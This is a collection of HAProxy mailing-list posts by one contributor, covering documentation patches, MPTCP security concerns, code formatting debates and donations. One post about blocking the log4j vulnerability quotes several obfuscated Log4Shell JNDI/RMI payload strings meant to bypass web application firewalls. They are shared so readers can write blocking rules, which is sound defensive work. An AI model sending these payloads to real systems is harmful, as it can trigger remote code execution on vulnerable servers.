Re: [PATCH] FEATURE: Adding MPTCP with option to disable it and fall-back to TCP
Hello, On 24 Apr, Dorian Craps wrote: > This attached patch uses MPTCP by default instead of TCP on Linux. The backward compatibility of MPTCP is indeed a good point toward enabling it by default. Nonetheless, I feel your message should include a discussion on the security implications of this change. As you know, v0 had security issues. v1 addresses them, and we can likely consider that new attacks targeting this protocol will pop up as it becomes widespread. In fact, that's already the case: See: CVE-2024-26708: mptcp: really cope with fastopen race or CVE-2024-26826: mptcp: fix data re-injection from stale subflow or CVE-2024-26782 kernel: mptcp: fix double-free on socket dismantle The three CVEs above are all from April 2024. Given that MPTCP v1 is relatively new (2020), and that we do not have real assurances that it is at least as secure as plain TCP, I would humbly suggest inverting the logic, and making it an opt-in option. This way, a vulnerability impacting MPTCP would only impact users that enabled it, instead of 100% of HAProxy users. In a few years, making it the default could be reconsidered. Please note that I'm simply voicing my concern as a user, and the core dev team might have a very different view about these aspects. > It sounds good to have MPTCP enabled by default Except when looking at it through the prism of the increased attack surface! ;) > IPPROTO_MPTCP is defined just in case old libC are being used and > don't have the ref. Shouldn't it be defined with a value, as per https://www.mptcp.dev/faq.html#why-is-ipproto_mptcp-not-defined ? (sorry if it's a dumb remark, I'm not a C dev) Best regards, ~Nicolas
[PATCH] DOC: configuration: grammar fixes for strict-sni
Hello, Please find attached a little patch for the "strict-sni" configuration documentation, which had incorrect grammar. Best, ~Nicolas >From 077761ca4b9b3b420ad1f635179cd747dfb7a8eb Mon Sep 17 00:00:00 2001 From: Nicolas CARPi Date: Wed, 3 Apr 2024 13:43:59 +0200 Subject: [PATCH] DOC: configuration: grammar fixes for strict-sni Fix incorrect grammar in strict-sni: * is allow -> is allowed * which match -> that matches * allows to start -> allows starting --- doc/configuration.txt | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/doc/configuration.txt b/doc/configuration.txt index 68af0a844..8ea0c50bd 100644 --- a/doc/configuration.txt +++ b/doc/configuration.txt @@ -16296,9 +16296,9 @@ ssl-min-ver [ SSLv3 | TLSv1.0 | TLSv1.1 | TLSv1.2 | TLSv1.3 ] strict-sni This setting is only available when support for OpenSSL was built in. The - SSL/TLS negotiation is allow only if the client provided an SNI which match + SSL/TLS negotiation is allowed only if the client provided an SNI that matches a certificate. The default certificate is not used. This option also allows - to start without any certificate on a bind line, so an empty directory could + starting without any certificate on a bind line, so an empty directory could be used and filled later from the stats socket. See the "crt" option for more information. See "add ssl crt-list" command in the management guide. -- 2.44.0
Re: [PATCH] DOC/MINOR: userlists: musl performance
Dear Lukas, Willy, Please find another patch attached, addressing your comments. Willy: s/gcc/glibc/ Lukas: I shifted the focus on the rounds/cost solution, while still mentioning the musl issue, as this problem is clearly more visible on Alpine Linux, as the github issues show. Cheers, ~Nico >From 005baaf717fc3e345ff02e9adcbfe169ae17dfb7 Mon Sep 17 00:00:00 2001 From: Nicolas CARPi Date: Mon, 12 Feb 2024 18:03:52 +0100 Subject: [PATCH] DOC/MINOR: userlists: mention solutions to high cpu with hashes This change adds a paragraph to the documentation regarding "userlists" and the use of hashed password value. It indicates what a user can do to address the high CPU cost of having to calculate the hash at each request, such as reducing the number of rounds or the cost complexity, if the algorithm allows for it. I believe it is necessary to mention how the musl C library impacts performance of hashing functions, as this has already led to a few issues: https://github.com/haproxy/haproxy/issues/1298 https://github.com/haproxy/haproxy/issues/2008 https://github.com/haproxy/haproxy/issues/2251 The performance impact is significant enough to mention it. --- doc/configuration.txt | 10 +- 1 file changed, 9 insertions(+), 1 deletion(-) diff --git a/doc/configuration.txt b/doc/configuration.txt index 937d2a4b7..2eef819e2 100644 --- a/doc/configuration.txt +++ b/doc/configuration.txt @@ -3992,7 +3992,15 @@ user [password|insecure-password ] designed to be expensive to compute to achieve resistance against brute force attacks. They do not simply salt/hash the clear text password once, but thousands of times. This can quickly become a major factor in HAProxy's - overall CPU consumption! + overall CPU consumption, and can even lead to application crashes! + + To address the high CPU usage of hash functions, one approach is to reduce + the number of rounds of the hash function (SHA family algorithms) or decrease + the "cost" of the function, if the algorithm supports it. + + As a side note, musl (e.g. Alpine Linux) implementations are known to be + slower than their glibc counterparts when calculating hashes, so you might + want to consider this aspect too. Example: userlist L1 -- 2.43.0
[PATCH] DOC/MINOR: userlists: musl performance
Hello everyone, Please find attached my very first patch to the documentation. Hope I did everything good! :) Based on a comment from @bugre: https://github.com/haproxy/haproxy/issues/2251#issuecomment-1716594046 (and also because I've been bitten by this!) Best, ~Nicolas >From 04844e6eee725ff8bfe4ec62578e24649f020ec9 Mon Sep 17 00:00:00 2001 From: Nicolas CARPi Date: Mon, 12 Feb 2024 12:45:15 +0100 Subject: [PATCH] DOC/MINOR: userlists: mention performance penalty of musl This change adds a paragraph to the documentation regarding "userlists" and the use of hashed password value. It is necessary to mention how the Alpine/musl C library impacts performance of hashing functions, as this has already led to a few issues: https://github.com/haproxy/haproxy/issues/1298 https://github.com/haproxy/haproxy/issues/2008 https://github.com/haproxy/haproxy/issues/2251 This change indicates clearly the shortcomings of musl, and proposes workarounds such as reducing the number of rounds or the cost complexity, if the algorithm allows for it. --- doc/configuration.txt | 6 ++ 1 file changed, 6 insertions(+) diff --git a/doc/configuration.txt b/doc/configuration.txt index 937d2a4b7..9864a49a5 100644 --- a/doc/configuration.txt +++ b/doc/configuration.txt @@ -3994,6 +3994,12 @@ user [password|insecure-password ] but thousands of times. This can quickly become a major factor in HAProxy's overall CPU consumption! + Furthermore, there is a significant performance penalty when using a musl + variant (for instance with the Alpine linux distribution), as the musl code for + these hashing functions is less performant/optimized than its GCC + counterpart. When using musl, reducing the number of rounds or the "cost" of + the algorithm used can help a lot with the CPU usage. + Example: userlist L1 group G1 users tiger,scott -- 2.43.0
Re:
Dear Chic Closet, Hello, and thank you for reaching out to us regarding your need for a proxy. We appreciate your interest and are eager to assist you, but to provide you with the best possible solution, we need a bit more information about your specific requirements and the context of your needs. Your initial message, "I need proxy", though concise, leaves several critical aspects open for interpretation. There are various types of proxy services, each catering to different needs and scenarios. For instance: -Type of Proxy: Are you looking for a residential proxy, a datacenter proxy, or perhaps a mobile proxy? Each type offers different advantages and is suitable for different use cases. -Purpose of Use: Understanding your intended use of the proxy is crucial. Are you looking to enhance your online privacy, bypass geographical restrictions, perform web scraping, or something else entirely? -Required Geolocation: If you need a proxy for accessing content or services from a specific geographic location, please let us know the required country or region. -Volume and Scale: Are you looking for a single proxy or a pool of proxies? Knowing the scale of your requirement will help us suggest the most efficient and cost-effective solution. -Technical Requirements: Depending on your technical setup and proficiency, you might need a user-friendly solution or one that offers advanced customization and integration capabilities. -Security and Anonymity Levels: Different proxies offer varying levels of security and anonymity. It's important to align these with your needs, especially if handling sensitive data. -Budget Constraints: Understanding your budget will help us recommend a solution that offers the best value for your investment. We understand that navigating the world of proxies can be complex, especially with the multitude of options available. Our team is committed to guiding you through this process and ensuring that you find a proxy service that perfectly aligns with your specific needs and objectives. Could you please provide us with more details regarding the points mentioned above? This information will enable us to offer a tailored recommendation and ensure that we meet your expectations to the fullest. Looking forward to your response and hoping to assist you soon. Warm regards, ~Nico On 16 Jan, Chic Closet wrote: > Hello, > I need proxy
Re: PEM Certificates for HAproxy
On 29 Apr, Shawn Heisey wrote: > I know that a fresh install can be instantly operational with TLS, > suggesting that it is not generating them on the fly ... so I really wonder > how secure the default params are. I wonder what is being used when there > are no params in the cert file. Does it get something hardcoded and use that > until params generated in the background can be swapped in? You'll want to have a look at this issue: https://github.com/haproxy/haproxy/issues/1604 Indeed HAProxy has default ones, and reading the issue and comments of Lukas you'll understand why DH params are a thing of the past (if you use modern ciphers), and why generating them yourself is not even that great to begin with. (I'm the author of the issue btw) Best, ~Nico
Re: Blocking log4j CVE with HAProxy
On 13 Dec, Jonathan Matthews wrote:
> I believe there are string casing operators available, leading to
> options like "${j{$lower:N}di:ldap://...;.
Indeed. Maybe this can help, it's the "Bypass WAF" part of the POC[0]:
${${::-j}${::-n}${::-d}${::-i}:${::-r}${::-m}${::-i}://asdasd.asdasd.asdasd/poc}
${${::-j}ndi:rmi://asdasd.asdasd.asdasd/ass}
${jndi:rmi://adsasd.asdasd.asdasd}
${${lower:jndi}:${lower:rmi}://adsasd.asdasd.asdasd/poc}
${${lower:${lower:jndi}}:${lower:rmi}://adsasd.asdasd.asdasd/poc}
${${lower:j}${lower:n}${lower:d}i:${lower:rmi}://adsasd.asdasd.asdasd/poc}
${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:r}m${lower:i}}://xxx.xx/poc}
So if one can manage to match all of that, it could work.
Of course this block in the POC is immediatly followed by:
Don't trust the web application firewall. ;)
[0]
https://github.com/tangxiaofeng7/CVE-2021-44228-Apache-Log4j-Rce#bypass-waf
Best,
~Nico
Re: [PATCH] move VTest installation to scripts/build-vtest.sh
> I compared several times, git clone is faster In my hands curl is the fastest option compared to git clone. Wouldn't "git clone --depth 1" be a good option to consider here? It avoids getting the full history. ~Nico
Re: [PATCH} suppress "misleading indentation" gcc 11 warning
On 18 Dec, Tim Düsterhus wrote: > I'm not sure I understand the question correctly, but I assume you mean > the highlighting due to me directly linking to the lines? Arf, didn't realize that... Thanks! ~Nico
Re: [PATCH} suppress "misleading indentation" gcc 11 warning
Dear Tim, > It'll probably get a quite bit smaller if you'd add a configuration file > that configures the indentation to happen using tabs instead of spaces. You're correct. It was just a quick and dirty try with default config to see if things can still compile after running it, I have no intention on proposing a patch. :) > But even then it stomps over stuff like `a_eq_b` in > contrib/ip6range/ip6range.c: Could you please enlighten me as to why the diff of this function is of a different color from the rest? First time I see this. Cheers and thanks to all the contributors for this great piece of software! ~Nico
Re: [PATCH} suppress "misleading indentation" gcc 11 warning
Dear list, For purely illustration purposes, this is the kind of diff that would be generated if one were to clang-format all the .c files: https://github.com/deltablot/haproxy/commit/878ba41e4742b39034686d2b6feb3c561edeb72a Showing 195 changed files with 177,997 additions and 174,367 deletions. oO ! Have a nice evening all (or day depending on your TZ). ~Nicolas On 17 Dec, Nicolas CARPi wrote: > Hey Tim, > > Sorry I wasn't clear in my message, I should have written that the doc > needs to be updated only if you ever chose to add this formatting check. > But as you stated, it would be a lot of work and commit noise for little > benefit and I understand completely why you would not want to do that. > > It's the kind of thing that benefit fresh projects. > > Best regards, > ~Nicolas > > > On 17 Dec, Tim Düsterhus wrote: > > Nicolas, > > > > Am 17.12.20 um 15:53 schrieb Nicolas CARPi: > > > To fail or not to fail. That is the question! :) > > > > > > I'd add to that the contributor documentation should be updated to add > > > steps for having a clang-format (or any other formatter) as a git > > > pre-hook. > > > > As someone who actually contributes to the C source code of HAProxy I > > disagree. > > > > 1) The codebase is fairly old and already has formatting issues (Tabs > > and Spaces mixed within single files). Initially running the > > autoformatter will create merge / rebase conflicts all over the place. > > 2) A few source code locations are intentionally manually formatted like > > they are. Autoformatters tend to stomp over that, breaking this > > intentional formatting, decreasing readability. > > 3) Clearly the actual contributors are not unhappy with the current > > situation, otherwise they would already have introduced such an > > autoformatting. > > 4) It would require contributors to set up that autoformatter (in the > > correct version, with the correct config, etc.), creating work for a > > small benefit. > > > > Best regards > > Tim Düsterhus > > > > > I'm partial to failing the build (in CI) to avoid using further > > > electricity if the first step (syntax) fails, as another commit fixing > > > the syntax will likely come after. > > > > > > ~Nico > > > > > > > -- > ~Nico > -- ~Nico
Re: [PATCH} suppress "misleading indentation" gcc 11 warning
Hey Tim, Sorry I wasn't clear in my message, I should have written that the doc needs to be updated only if you ever chose to add this formatting check. But as you stated, it would be a lot of work and commit noise for little benefit and I understand completely why you would not want to do that. It's the kind of thing that benefit fresh projects. Best regards, ~Nicolas On 17 Dec, Tim Düsterhus wrote: > Nicolas, > > Am 17.12.20 um 15:53 schrieb Nicolas CARPi: > > To fail or not to fail. That is the question! :) > > > > I'd add to that the contributor documentation should be updated to add > > steps for having a clang-format (or any other formatter) as a git > > pre-hook. > > As someone who actually contributes to the C source code of HAProxy I > disagree. > > 1) The codebase is fairly old and already has formatting issues (Tabs > and Spaces mixed within single files). Initially running the > autoformatter will create merge / rebase conflicts all over the place. > 2) A few source code locations are intentionally manually formatted like > they are. Autoformatters tend to stomp over that, breaking this > intentional formatting, decreasing readability. > 3) Clearly the actual contributors are not unhappy with the current > situation, otherwise they would already have introduced such an > autoformatting. > 4) It would require contributors to set up that autoformatter (in the > correct version, with the correct config, etc.), creating work for a > small benefit. > > Best regards > Tim Düsterhus > > > I'm partial to failing the build (in CI) to avoid using further > > electricity if the first step (syntax) fails, as another commit fixing > > the syntax will likely come after. > > > > ~Nico > > > -- ~Nico
Re: [PATCH} suppress "misleading indentation" gcc 11 warning
To fail or not to fail. That is the question! :) I'd add to that the contributor documentation should be updated to add steps for having a clang-format (or any other formatter) as a git pre-hook. I'm partial to failing the build (in CI) to avoid using further electricity if the first step (syntax) fails, as another commit fixing the syntax will likely come after. ~Nico On 17 Dec, Илья Шипицин wrote: > Well, there are formatters like clang format or similar. We can even run them > in pipeline. But it has nothing to do with compilation and we should not fail > build because of that > > On Thu, Dec 17, 2020, 5:35 PM Nicolas CARPi wrote: > > Dear list, > > Formatting on PRs is a hot topic, but IMHO it should be done by an > automated tool so we can forget about it and focus on the core of the > PR, not the style. A git pre-hook would be best. > > > I'd say it is friendly mood not to push people to comply formatting (who > cares > > of indentation ?) > I disagree with that view. No need to be as hardcore as go who won't > compile if there is an indentation issue, but still, I think it helps > readability and prevent bugs to have correct indentation (an incorrect > one might make you think that a block is part of a loop, when it is > not). > > Regards, > ~Nicolas CARPi > > PS: go ships with a formatting tool so this is a non issue in that > language > > > On 17 Dec, Илья Шипицин wrote: > > well, I met some projects that are insane on formatting. > > it is funny each time, when discussing new PR "please fix your > formatting" > > (weeks spent on that), after PR is merged something is broken because of > lack > > of testing. > > > > I'd say it is friendly mood not to push people to comply formatting (who > cares > > of indentation ?) > > > > чт, 17 дек. 2020 г. в 13:05, Tim Düsterhus <[1][1]t...@bastelstu.be>: > > > > Ilya, > > > > Am 17.12.20 um 08:26 schrieb Илья Шипицин: > > > gcc 11 (delivered with fedora rawhide) introduces indentation > check. > > > it is totally harmless. > > > > > > this patch suppresses it. > > > it resolves #998 > > > might be backported to all supported branches. > > > > > > > Can we please fix the actual issue instead of suppressing the > warning? > > In fact I believe that this line is incorrectly intended: > > > > [2][2]https://github.com/haproxy/haproxy/blob/ > > a4009cd6103a92752db27c3a85051c6adcc832c1/include/import/plock.h#L236 > > > > Best regards > > Tim Düsterhus > > > > > > References: > > > > [1] mailto:[3]t...@bastelstu.be > > [2] [4]https://github.com/haproxy/haproxy/blob/ > a4009cd6103a92752db27c3a85051c6adcc832c1/include/import/plock.h#L236 > > -- > ~Nico > > > References: > > [1] mailto:t...@bastelstu.be > [2] https://github.com/haproxy/haproxy/blob/ > [3] mailto:t...@bastelstu.be > [4] > https://github.com/haproxy/haproxy/blob/a4009cd6103a92752db27c3a85051c6adcc832c1/include/import/plock.h#L236 -- ~Nico
Re: [PATCH} suppress "misleading indentation" gcc 11 warning
Dear list, Formatting on PRs is a hot topic, but IMHO it should be done by an automated tool so we can forget about it and focus on the core of the PR, not the style. A git pre-hook would be best. > I'd say it is friendly mood not to push people to comply formatting (who cares > of indentation ?) I disagree with that view. No need to be as hardcore as go who won't compile if there is an indentation issue, but still, I think it helps readability and prevent bugs to have correct indentation (an incorrect one might make you think that a block is part of a loop, when it is not). Regards, ~Nicolas CARPi PS: go ships with a formatting tool so this is a non issue in that language On 17 Dec, Илья Шипицин wrote: > well, I met some projects that are insane on formatting. > it is funny each time, when discussing new PR "please fix your formatting" > (weeks spent on that), after PR is merged something is broken because of lack > of testing. > > I'd say it is friendly mood not to push people to comply formatting (who cares > of indentation ?) > > чт, 17 дек. 2020 г. в 13:05, Tim Düsterhus <[1]t...@bastelstu.be>: > > Ilya, > > Am 17.12.20 um 08:26 schrieb Илья Шипицин: > > gcc 11 (delivered with fedora rawhide) introduces indentation check. > > it is totally harmless. > > > > this patch suppresses it. > > it resolves #998 > > might be backported to all supported branches. > > > > Can we please fix the actual issue instead of suppressing the warning? > In fact I believe that this line is incorrectly intended: > > [2]https://github.com/haproxy/haproxy/blob/ > a4009cd6103a92752db27c3a85051c6adcc832c1/include/import/plock.h#L236 > > Best regards > Tim Düsterhus > > > References: > > [1] mailto:t...@bastelstu.be > [2] > https://github.com/haproxy/haproxy/blob/a4009cd6103a92752db27c3a85051c6adcc832c1/include/import/plock.h#L236 -- ~Nico
Re: Alternatives to PayPal
Thanks Willy, it makes perfect sense. I'll sponsor other projects! :) Cheers, ~Nico On 08 Oct, Willy Tarreau wrote: > Hi, > > On Wed, Oct 07, 2020 at 11:20:25AM +0200, Sebastian Fohler wrote: > > What about a Patron account. > > > > https://www.patreon.com/europe > > > > Cause I already asked multiple times for some other means of contribution as > > well. > > That would help a great deal, makeing it easier. > > I'm supporting multiple Opensource projects already this way. > > Would that be an option? > > Well, to make things clear, first let me remind that the paypal account > is my personal account, which I have added a link to from the main page > upon request by several people willing to donate many years ago. This > has been helpful in the early days, allowing me buy some hardware to > experiment during week-ends (such as the 10G lab), and to significantly > improve the code's portability and efficiency on small systems. It used > to serve to contribute to the hosting costs as well. > > Since then the project has considerably evolved, being backed by a company > offering a much larger full-time development team. And users are well > aware of this because nowadays donations are extremely rare (in the range > of tens of dollars a year). But at the same time nowadays I do not need > them at all anymore, so I'm perfectly fine with replacing the link with > anything else. I've only been keeping it because I know that if I remove > it, the question will come back again a few months later. > > The only thing is that I am *not* going to deal with yet another task > that adds more burden, so if someone is willing to set up any account > via $whatever company, they will have to handle it and pass me the > replacement link. At least the paypal link doesn't cause me any extra > work beyond replying "thank you" to donators once in a while. Just be > aware that since donations are rare, I'm not at all convinced it will > be worth doing anything particular. And at some point a solution will > have to be found to spend the eventual money that would land there, > so someone will have to handle this, and again it's certainly not me. > > My personal suggestion would be that those who want to give a few > dollars better keep their money that they certainly need more than > most developers or contributors do, because due to the project's > nature, contributors generaly work in IT at levels at which, based on > the high quality of their contributions, they're not expected to be > starving at all (or if they do they definitely need to switch jobs as > their skills are quite sought)! If anyone is ever willing to spend a > large amount, like thousands of dollars, better hire someone to develop > some useful desired features, it will be an excellent contribution to > the project! Another great option is to contact your favorite distro's > package maintainer and propose your donation there, because distro > maintainers have been doing this thankless job for many years now and > deserve some recognition as well. For anything else, offering time to > look into bugs, testing -dev releases, improving the doc, contributing > to the wiki etc is extremely valuable and helps all contributors at > once. > > As you see, there are still plenty of options which do not require > managing any new account anywhere. > > Thanks for your support :-) > Willy > -- ~Nico
Alternatives to PayPal
Dear list, Haproxy is an amazing project and it is clear that the devs are pouring a lot of energy and time into it. As a (very) small entrepreneur, I use Haproxy to host my services and I'm quite happy with it. It is an essential part of my business. I wish to redistribute a small part of the money I generate to this project, as I believe open source projects do need this, nothing is free in this world. Unfortunately, the only way to donate is through PayPal, and like many, I have a strong aversion to this company. May I suggest setting up an OpenCollective or Liberapay account (or both)? These services also allow to be transparent about who gets what and to remunerate recurrent contributors. Let me know what you think! :) Regards, ~Nicolas CARPi
Re: [PR] SOCKS4(A)
Yes Willy, we want to know! Why the hell you keep using C and don't switch to C++? Better yet, why don't you rewrite it in Rust. The part where he explains to you how you should use functions is GOLD! :D Have a nice day everyone and thanks for the laughs alex! ~Nico On 01 Oct, Willy Tarreau wrote: > Hello, > > On Wed, Sep 30, 2020 at 10:19:32PM +0200, PR Bot wrote: > > Dear list! > > > > Author: alexzk1 > > Number of patches: 30 > > > > This is an automated relay of the Github pull request: > >SOCKS4(A) > (...) > > Description: > >So I completely understand that you will dislike what my formatter did > >there, but you can just reject. I don't care as it was paid update. > > I think it could win the contest of the funniest ever contribution > received over the last two decades! > > First, I failed to spot a single patch that does something related to what > the 2-to-8 words "commit message" claimed and this is not in any way the > formatter's fault. Second, claiming "I don't care if you pick it anyway > since I was paid to do it" makes me wonder "who's crazy enough to pay for > this, and probably to go as far as deploying it?". I mean, I'm not sure > they realized they'll have to pay you to do it again and again after each > fix that gets applied to the main tree. Well done at least if that worked :-) > > >So what it do: > >1. adds support for socks4A, if it cannot resolve > >dns localy it does ..read file "fake_host.h" > >2. you forgot to > >copy-paste setup from "backend.c" to "tcpcheck.c" for socks4. So since > >2.1 it does not do check over socks. > >I fixed that and removed > >copy-paste by doing function. > > If you have a fix to provide, please point it in this ocean of random > patches, because I can't find it. Or better, just explain what the > problem is so that someone can fix it properly :-/ > > >Also it is generic rule, if any > >piece of code met twice -> do a function. 90% of your current can be > >changed in that way. > > Excellent advice, thank you! > > >3. and at then end I have rhetoric question: > >if you invented there virtual functions and virtual table, why the > >hell you keep using C and don't switch to C++ ? > > Hehe good one :-) > > Willy > -- ~Nico
